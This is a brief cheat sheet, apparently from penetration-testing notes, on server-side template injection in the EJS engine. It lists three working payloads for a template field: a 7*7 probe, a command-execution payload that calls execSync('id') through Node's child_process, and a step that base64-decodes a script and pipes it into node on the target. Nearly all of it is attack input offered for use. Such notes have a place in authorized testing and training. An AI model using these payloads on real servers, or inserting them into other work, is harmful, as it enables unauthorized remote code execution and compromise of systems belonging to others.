EJS SSTI — Probe to RCE
Server-side template injection in EJS: confirm with a 7*7 probe, escalate to execSync command execution, then stage a bigger payload via base64.
# Values below go into the injectable template field (e.g. template=...).
# 1) probe — a reflected "49" proves the input is evaluated as a template
<%= 7*7 %>
# 2) RCE — reach Node's child_process through the template engine
<%= process.mainModule.require("child_process").execSync("id") %>
# 3) stage a real payload without quoting hell: base64 shell.js locally
# (base64 -w0 shell.js), then decode + pipe into node on the target
<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>